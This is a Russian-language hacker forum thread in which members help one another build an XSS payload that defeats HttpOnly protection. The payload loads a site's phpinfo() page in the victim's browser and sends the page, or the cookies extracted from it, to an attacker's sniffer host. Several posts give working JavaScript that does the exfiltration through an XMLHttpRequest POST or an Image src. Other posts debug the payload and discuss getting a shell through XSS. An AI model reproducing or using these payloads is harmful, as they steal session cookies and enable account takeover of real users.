PDA

Просмотр полной версии : Загрузка кода страницы phpinfo() через xss ( тунель)


bazaWT
10.04.2016, 10:24
Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?

blackbox
10.04.2016, 13:13
bazaWT said:
↑ (https://antichat.live/posts/3972230/)
Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?


Вот пример, с помощью ajax открывается нужная страница и ее содержимое отсылается на целевой сниферок. Только для снифера нужно разрешить принимать запросы с других доменов (CORS):


Code:
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange= function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {

var body = encodeURIComponent(xhttp.responseText);
xhttp.open("POST", 'http://mysniff.ru/t.php', true)
xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhttp.send(body)

}
};

xhttp.open("GET", "phpinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();

Я не знаю как себя будет на практике вести - в боевых условиях не тестил. Но может пригодится.

faza02
10.04.2016, 17:35
надеюсь @psihoz26 (https://antichat.live/members/145756/) меня не покорает за его скрипт)


Code:
var xhr = new XMLHttpRequest();
xhr.open('GET', '//site/phpinfo.php', true);
xhr.send(null);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status == 200) {
(new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
}
}
}

bazaWT
10.04.2016, 19:10
Спасибо друзья +

bazaWT
11.04.2016, 09:54
yarbabin said:
↑ (https://antichat.live/posts/3972339/)
надеюсь
@psihoz26 (https://antichat.live/members/145756/)
меня не покорает за его скрипт)

Code:
var xhr = new XMLHttpRequest();
xhr.open('GET', '//site/phpinfo.php', true);
xhr.send(null);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status == 200) {
(new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
}
}
}




Не могу разобратся со скриптом, он должен исполнятся прямо в XSS или можно подгружать с другого домена ? Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает . Кроме того в сниф надо что то дописывать? он у меня простенький


PHP:

M_script
11.04.2016, 10:32
bazaWT said:
↑ (https://antichat.live/posts/3972504/)
Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает


В любом браузере есть инструменты разработчика, где можно посмотреть ошибки выполнения JS.

bazaWT
11.04.2016, 12:25
M_script said:
↑ (https://antichat.live/posts/3972516/)
В любом браузере есть инструменты разработчика, где можно посмотреть ошибки выполнения JS.


Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php

t0ma5
11.04.2016, 12:39
bazaWT said:
↑ (https://antichat.live/posts/3972545/)
Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php


такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?

blackbox
11.04.2016, 12:48
bazaWT said:
↑ (https://antichat.live/posts/3972545/)
Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php


Поставь fiddler и посмотри что куда шлется (и шлется ли вообще?). И на своем принимаемом скрипте нужно еще указать:


Code:

M_script
11.04.2016, 14:45
bazaWT said:
↑ (https://antichat.live/posts/3972545/)
Ошибки JS нет


Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают.


blackbox said:
↑ (https://antichat.live/posts/3972550/)
И на своем принимаемом скрипте нужно еще указать:


Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.

bazaWT
11.04.2016, 17:02
t0ma5 said:
↑ (https://antichat.live/posts/3972548/)
такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?


Есть массив


M_script said:
↑ (https://antichat.live/posts/3972599/)
Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают.
Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.


Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма.

В XSS вставляю скрипт в таком виде img= new Image();img.src="http://bldfdfdd.125mb.com/22.js" . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .

blackbox
11.04.2016, 17:21
M_script said:
↑ (https://antichat.live/posts/3972599/)
Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.


В вики по-другому написано: "Cross-domain" AJAX requests are forbidden by default because of their ability to perform advanced requests (POST, PUT, DELETE and other types of HTTP requests, along with specifying custom HTTP headers (https://en.wikipedia.org/wiki/HTTP_headers)) that introduce many cross-site scripting security issues. CORS defines a way in which a browser and server can interact to determine safely whether or not to allow the cross-origin request." И в общем-то логично, иначе какая это защита от хсс. Вот в этой статье, например: http://hayageek.com/cross-domain-ajax-request-jquery/ в серверных заголовках конкретно указываются, как методы/заголовки разрешены.


bazaWT said:
↑ (https://antichat.live/posts/3972646/)
Есть массив
Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма.
В XSS вставляю скрипт в таком виде img= new Image();img.src="
http://bldfdfdd.125mb.com/22.js
" . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .


Протестируй у себя через хттп-прокси какой-нибудь и посмотрим, отправляются ли данные на самом деле через xmlhttprequest или нет.

M_script
11.04.2016, 17:52
bazaWT said:
↑ (https://antichat.live/posts/3972646/)
В XSS вставляю скрипт в таком виде img= new Image();img.src="
http://bldfdfdd.125mb.com/22.js
" . Может проблемма в src ?


Это шутка? Почему картинка должна исполняться как скрипт?


blackbox said:
↑ (https://antichat.live/posts/3972659/)
В вики по-другому написано:


Произвольные заголовки запрещены. Обычный POST/GET с дефолтными заголовками отправляется.


Code:
var x = new XMLHttpRequest();
x.open('POST', 'http://anysite/', true);
x.send('param=value');

bazaWT
11.04.2016, 18:36
M_script said:
↑ (https://antichat.live/posts/3972675/)
Это шутка? Почему картинка должна исполняться как скрипт?
code]


Я по разному пробовал , src="http://bdkldjf.125mb.com/22.js" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.

Melfis
11.04.2016, 20:00
Пояснения по этому коду


yarbabin said:
↑ (https://antichat.live/posts/3972339/)
надеюсь
@psihoz26 (https://antichat.live/members/145756/)
меня не покорает за его скрипт)

Code:
var xhr = new XMLHttpRequest();
xhr.open('GET', '/$PARAM1', true);
xhr.send(null);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status == 200) {
(new Image()).src="$PARAM2"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
}
}
}



$PARAM1 - локальная урла сайта, на котором xss и на котором ты можешь читать phpInfo: http://xss.com/some_path/php_info.php

$PARAM2 - сайт с твоим снифером, на который ты "как бы" обращаешься за картинкой и в параметрах запроса указываешь выдранные куки из ответа:

xhr.responseText - ответ с данными от phpInfo,

/_COOKIE.*?(.*?)/m - регулярка, которая выдёргивает куки из ответа.

В итоге именно этот скрипт с изменёнными под тебя $PARAM12 должен выполняться на стороне браузера.

Isis
11.04.2016, 20:18
yarbabin said:
↑ (https://antichat.live/posts/3972339/)
надеюсь
@psihoz26 (https://antichat.live/members/145756/)
меня не покорает за его скрипт)


Копирайтов еще не хватает, здесь же столько кода

faza02
11.04.2016, 20:19
bazaWT said:
↑ (https://antichat.live/posts/3972690/)
Я по разному пробовал , src="
http://bdkldjf.125mb.com/22.js
" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.


на код просмотрите еще раз

M_script
12.04.2016, 03:29
bazaWT said:
↑ (https://antichat.live/posts/3972690/)
Я по разному пробовал , src="
http://bdkldjf.125mb.com/22.js
" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.

bazaWT
15.04.2016, 22:46
Мужики подскажите, застопорился с этим скриптом . Он изымает куки с phphinfo , но только одну строчку . Гдето в регулярке проблема .


Code:
new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
}

Но не пойму где , пробовал без нее, чисто текст , так вобще не передается на снифер .

ol1ver
17.04.2016, 03:13
Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)

M_script
17.04.2016, 03:25
ol1ver said:
↑ (https://antichat.live/posts/3974651/)
Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)


Загрузить файл без участия пользователя нельзя. Но иногда шелл через XSS можно получить (редактирование шаблонов например).

/threads/275417/ (https://antichat.live/threads/275417/) - "Чтение данных и выполнение запросов через XSS"

ol1ver
17.04.2016, 03:27
M_script said:
↑ (https://antichat.live/posts/3974654/)
Загрузить файл без участия пользователя нельзя. Но иногда шелл через XSS можно получить (редактирование шаблонов например).
/threads/275417/ (https://antichat.live/threads/275417/)
- "Чтение данных и выполнение запросов через XSS"


Запамятовал. Буду искать шаблон или accepted filetypes